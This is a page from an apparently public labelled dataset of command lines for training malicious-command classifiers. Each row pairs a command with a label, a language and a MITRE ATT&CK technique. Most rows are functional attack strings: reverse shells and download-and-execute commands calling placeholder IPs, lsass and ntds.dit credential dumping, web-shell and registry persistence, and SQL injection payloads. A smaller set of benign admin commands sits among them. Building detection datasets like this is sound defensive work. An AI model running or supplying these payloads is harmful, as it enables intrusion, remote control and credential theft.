text stringlengths 4 527 | label stringclasses 7
values | label_id int64 0 6 | language stringclasses 5
values | mitre_technique stringclasses 83
values | template_id stringclasses 377
values |
|---|---|---|---|---|---|
1;SElEcT Pg_Sleep(15) | sql_injection | 6 | sql | T1190 | sql_injection-041 |
/usr/bin/wget -q https://downloads.acme.test/sys91-4.14.5.zip -O /tmp/sys91.zip && sha256sum /tmp/sys91.zip | benign | 0 | bash | null | benign-024 |
lua -e "require('socket');require('os');t=socket.tcp();t:connect('198.51.100.199','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');" | reverse_shell | 3 | bash | T1059 | reverse_shell-014 |
cmd.exe /c "expand \\203.0.113.219\share\out20.cab C:\Temp\out20.exe & C:\Temp\out20.exe" | download_execute | 5 | cmd | T1105 | download_execute-047 |
scp agent.tar.gz frank@web20.example.net:/backups/ | benign | 0 | bash | null | benign-020 |
echo '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]); %>' > /var/www/html/health.aspx | persistence | 4 | bash | T1505.003 | persistence-040 |
getcap -r / 2>/dev/null; ls -la /etc/cron* | reconnaissance | 1 | bash | T1083 | reconnaissance-063 |
nikto -h http://192.0.2.69 | reconnaissance | 1 | bash | T1595 | reconnaissance-020 |
fetch -o - http://192.0.2.50/payload.sh | sh | download_execute | 5 | bash | T1105 | download_execute-031 |
curl http://192.0.2.114/run22.sh -o /tmp/run22.sh; bash /tmp/run22.sh | download_execute | 5 | bash | T1105 | download_execute-028 |
net VieW /domaIn & Nltest /dclisT:corp.exaMple | reconnaissance | 1 | cmd | T1018 | reconnaissance-039 |
regsvr32 /s /n /u /i:http://192.0.2.3:5555/run58.sct scrobj.dll | reverse_shell | 3 | cmd | T1218.010 | reverse_shell-026 |
cmd.exe /c "reg query HKLM /f password /t REG_SZ /s" | credential_harvesting | 2 | cmd | T1552.002 | credential_harvesting-034 |
sQlduMPeR.eXe 624 0 0x0110 | credential_harvesting | 2 | cmd | T1003.001 | credential_harvesting-072 |
mknod /tmp/health p; /bin/sh 0</tmp/health | nc 192.0.2.110 443 1>/tmp/health | reverse_shell | 3 | bash | T1059.004 | reverse_shell-006 |
powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.0.2.130/out.exe','C:\Users\Public\out.exe')" && C:\Users\Public\out.exe | download_execute | 5 | cmd | T1105 | download_execute-046 |
cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\ProgramData\update27.exe" /f" | persistence | 4 | cmd | T1547.004 | persistence-024 |
powershell.exe -Command "Copy-Item $env:TEMP\out73.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe"" | persistence | 4 | powershell | T1547.001 | persistence-017 |
CREATE TABLE accounts_archive AS SELECT * FROM accounts WHERE created_at < '2024-07-04'; | benign | 0 | sql | null | benign-140 |
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('203.0.113.10',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-020 |
powershell.exe -Command "IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://198.51.100.218/tmp9.txt -UseBasicParsing).Content))" | download_execute | 5 | powershell | T1059.001 | download_execute-041 |
Get-ChildItem -Path \\build6.service.example\C$ -Recurse -ErrorAction SilentlyContinue | reconnaissance | 1 | powershell | T1083 | reconnaissance-078 |
gobuster dir -u http://203.0.113.250/ -w /usr/share/wordlists/dirb/common.txt | reconnaissance | 1 | bash | T1595 | reconnaissance-019 |
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/198.51.100.236/16490 0>&1'") | crontab - | persistence | 4 | bash | T1053.003 | persistence-000 |
Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\lib78.exe' | persistence | 4 | powershell | T1546.013 | persistence-018 |
nikto -h http://198.51.100.251 | reconnaissance | 1 | bash | T1595 | reconnaissance-020 |
curl.exe -s http://203.0.113.52/conf63.bat -o %TEMP%\conf63.bat & call %TEMP%\conf63.bat | download_execute | 5 | cmd | T1105 | download_execute-024 |
%' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>40--;%00 | sql_injection | 6 | sql | T1190 | sql_injection-035 |
git log -p | grep -iE 'password|secret|api_key' | head -n 3 | credential_harvesting | 2 | bash | T1552.001 | credential_harvesting-050 |
echo 'alias ls="ls --color=auto; /tmp/.loader &"' >> /home/deploy/.bashrc | persistence | 4 | bash | T1546.004 | persistence-035 |
dir D:\Backups /s /b | benign | 0 | cmd | null | benign-063 |
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAOAAuADUAMQAuADEAMAAwAC4ANQAnACwAMwA1ADgAMAA2ACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkA | download_execute | 5 | powershell | T1027 | download_execute-015 |
$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('203.0.113.12',4444)).GetStream()) | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-048 |
gobuster dir -u http://203.0.113.208/ -w /usr/share/wordlists/dirb/common.txt | reconnaissance | 1 | bash | T1595 | reconnaissance-019 |
gcore -o /tmp/data29 $(pgrep -f sshd | head -1) && strings /tmp/data29* | grep -i password | credential_harvesting | 2 | bash | T1003.007 | credential_harvesting-044 |
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File install43.txt | credential_harvesting | 2 | powershell | T1558.003 | credential_harvesting-021 |
curl -fsSL -o run.tar.gz https://releases.example.net/run-5.4.1.tar.gz | benign | 0 | bash | null | benign-023 |
Start-BitsTransfer -Source http://192.0.2.76/run46.exe -Destination $env:TEMP\run46.exe; & $env:TEMP\run46.exe | download_execute | 5 | powershell | T1105 | download_execute-039 |
IEX (NEw-ObjEct Net.WebClient).DowNLoadSTRing('http://203.0.113.186/out69.Ps1') | download_execute | 5 | powershell | T1059.001 | download_execute-011 |
EXEC xp_cmdshell 'C:\Users\Public\nc.exe 203.0.113.45 4444 -e cmd.exe'; | reverse_shell | 3 | sql | T1505.001 | reverse_shell-054 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 198.51.100.87 4444 >/tmp/f | reverse_shell | 3 | bash | T1059.004 | reverse_shell-005 |
rsync -avz --delete /srv/data/ alice@files11.example.org:/srv/data/ | benign | 0 | bash | null | benign-021 |
curl -s http://192.0.2.254:25856/shell.sh | bash -i >& /dev/tcp/192.0.2.254/5555 0>&1 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-046 |
$sm=(New-Object Net.Sockets.TCPClient('198.51.100.16',443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-047 |
133' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- ;%00 | sql_injection | 6 | sql | T1190 | sql_injection-030 |
SELECT COUNT(*) FROM customers GROUP BY created_at HAVING COUNT(*) > 33; | benign | 0 | sql | null | benign-073 |
bash -i >& /dev/tcp/198.51.100.154/443 0>&1 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-000 |
for p in 22 80 443 445 3389; do (echo > /dev/tcp/192.0.2.87/$p) 2>/dev/null && echo "$p open"; done | reconnaissance | 1 | bash | T1046 | reconnaissance-004 |
Reg aDd "HKLM\SOFTWARE\MiCrosOfT\WINDOWS NT\CuRrEntVeRSioN\WinlOGoN" /v UsERInit /d "C:\WiNdOws\SysTeM32\useriNit.exE,C:\PRoGramDATa\stage238.eXe" /f | persistence | 4 | cmd | T1547.004 | persistence-024 |
GEt-MpCoMpUTerStatus; GeT-CimInstanCe -NAMespACe rOOT/SEcuriTYCeNtEr2 -CLAssNaME ANTIvirUSPrOduCT | reconnaissance | 1 | powershell | T1518.001 | reconnaissance-027 |
wHoami /all & net user & nEt LOcAlgroup aDmiNiStrAtORs | reconnaissance | 1 | cmd | T1033 | reconnaissance-033 |
node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(1337,"198.51.100.36",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})' | reverse_shell | 3 | bash | T1059 | reverse_shell-015 |
CREATE EVENT WindowsUpdateSvc ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('/tmp/.agent'); | persistence | 4 | sql | T1053 | persistence-056 |
ncat --ssl 203.0.113.208 4444 -e /bin/bash | reverse_shell | 3 | bash | T1059.004 | reverse_shell-036 |
shutdown /r /t 40 | benign | 0 | cmd | null | benign-068 |
Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\stage2.exe' | persistence | 4 | powershell | T1546.013 | persistence-018 |
cp /tmp/pam_a81.so /lib/x86_64-linux-gnu/security/ && sed -i '1i auth sufficient pam_a81.so' /etc/pam.d/sshd | persistence | 4 | bash | T1556.003 | persistence-037 |
esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\update.dit | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-069 |
ALTER TABLE accounts ADD COLUMN created_at VARCHAR(255); | benign | 0 | sql | null | benign-076 |
exec 5<>/dev/tcp/192.0.2.208/443;cat <&5 | while read line; do $line 2>&5 >&5; done | reverse_shell | 3 | bash | T1059.004 | reverse_shell-032 |
nmap -sS -p- -T4 198.51.100.108 | reconnaissance | 1 | bash | T1046 | reconnaissance-000 |
'; waiTFOR DELAy '0:0:10'-- | sql_injection | 6 | sql | T1190 | sql_injection-007 |
powershell.exe -Command "Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'" | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-018 |
ipcoNfiG /All & routE PrInt & ArP -a | reconnaissance | 1 | cmd | T1016 | reconnaissance-035 |
cmd.exe /c "certutil.exe -urlcache -f http://192.0.2.160/a.txt enc.txt && certutil -decode enc.txt a.exe && a.exe" | download_execute | 5 | cmd | T1105 | download_execute-044 |
IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://198.51.100.134/update96.txt -UseBasicParsing).Content)) | download_execute | 5 | powershell | T1059.001 | download_execute-041 |
admin' HAVING 1=1-- | sql_injection | 6 | sql | T1190 | sql_injection-042 |
abc' HAVING 1=1-- -- | sql_injection | 6 | sql | T1190 | sql_injection-042 |
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\x94.db | credential_harvesting | 2 | powershell | T1555.003 | credential_harvesting-024 |
SELECT COUNT(*) FROM orders GROUP BY user_id HAVING COUNT(*) > 34; | benign | 0 | sql | null | benign-073 |
cmd.exe /c "sc create SystemHealth binPath= "C:\ProgramData\lib.exe" start= auto & sc start SystemHealth" | persistence | 4 | cmd | T1543.003 | persistence-021 |
Get-ChildItem -Path \\web1.service.example\C$ -Recurse -ErrorAction SilentlyContinue | reconnaissance | 1 | powershell | T1083 | reconnaissance-078 |
powershell.exe -Command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('metrics'))" | benign | 0 | powershell | null | benign-061 |
sudo echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguNTEuMTAwLjcyLzgwODAgMD4mMQ== | base64 -d | bash | reverse_shell | 3 | bash | T1059.004 | reverse_shell-018 |
\\203.0.113.61\share\update94.exe | download_execute | 5 | cmd | T1105 | download_execute-050 |
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\tmp13.txt | credential_harvesting | 2 | powershell | T1056.002 | credential_harvesting-025 |
sudo ssh bob@files13.contoso.test 'uptime' | benign | 0 | bash | null | benign-019 |
$x=[System.Net.WebRequest]::Create('http://192.0.2.200/stage279');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd() | download_execute | 5 | powershell | T1059.001 | download_execute-042 |
Get-ADUser -Identity frank -Properties LastLogonDate, PasswordLastSet | benign | 0 | powershell | null | benign-115 |
printf '[Service]\nExecStart=/usr/local/bin/.loader\nRestart=always\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/GoogleUpdateTaskMachine.service && systemctl enable --now GoogleUpdateTaskMachine | persistence | 4 | bash | T1543.002 | persistence-004 |
powershelL -NOp -W hidDen -c "$C=NEW-OBJEct Net.SoCKeTs.TCPClient('192.0.2.110',1337);$s=$c.GeTStReAm();[BytE[]]$b=0..65535|%{0};whilE(($i=$s.REad($b,0,$b.Length)) -nE 0){$D=(NeW-ObjeCT TexT.ASCIIEnCoding).GeTSTrinG($b,0,$i);$R=(Iex $d 2>&1|Out-StRing);$S.Write(([text.eNCodinG]::ASCII).GEtByTeS($R),0,$r.LenGth)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-020 |
$client = New-Object System.Net.Sockets.TCPClient('198.51.100.175',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$s... | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-019 |
cat /tmp/health81.pub >> /home/dave/.ssh/authorized_keys | persistence | 4 | bash | T1098.004 | persistence-031 |
cmd.exe /c "procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\install7.dmp" | credential_harvesting | 2 | cmd | T1003.001 | credential_harvesting-029 |
docker compose up -d --build sshd | benign | 0 | bash | null | benign-008 |
' ANd eXtraCtValUE(1,conCAt(0x7e,(SElECT DaTaBasE())))-- - | sql_injection | 6 | sql | T1190 | sql_injection-010 |
GEt-ADUseR -FIlter * -PropertIEs * | SELeCt-Object sAmAccoUntnamE,DescrIptioN,meMbERoF | reconnaissance | 1 | powershell | T1087.002 | reconnaissance-023 |
Get-ChildItem -Path \\build4.contoso.test\C$ -Recurse -ErrorAction SilentlyContinue | reconnaissance | 1 | powershell | T1083 | reconnaissance-078 |
SELECT username, password, email FROM invoices INTO OUTFILE '/var/www/html/health.txt'; | credential_harvesting | 2 | sql | T1555 | credential_harvesting-040 |
netsh interface ip show config & netsh wlan show profiles | reconnaissance | 1 | cmd | T1016 | reconnaissance-089 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.200 443 >/tmp/f | reverse_shell | 3 | bash | T1059.004 | reverse_shell-005 |
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\agent33.dmp | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-059 |
IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://192.0.2.113/a12.txt -UseBasicParsing).Content)) | download_execute | 5 | powershell | T1059.001 | download_execute-041 |
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/web-instance > /tmp/.c | credential_harvesting | 2 | bash | T1552.005 | credential_harvesting-007 |
ssh jsmith@app5.contoso.test 'uptime' | benign | 0 | bash | null | benign-019 |
sudo nc -zv service.example 443 | benign | 0 | bash | null | benign-045 |
Start-Process msiexec.exe -ArgumentList '/i C:\ProgramData\App\data46.msi /qn /norestart' -Wait | benign | 0 | powershell | null | benign-120 |
18' UNION SELECT NULL,username,password FROM users-- - | sql_injection | 6 | sql | T1190 | sql_injection-003 |
zsh -c 'zmodload zsh/net/tcp && ztcp 203.0.113.221 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' | reverse_shell | 3 | bash | T1059.004 | reverse_shell-033 |
CREATE INDEX idx_events_total ON events (total); | benign | 0 | sql | null | benign-072 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.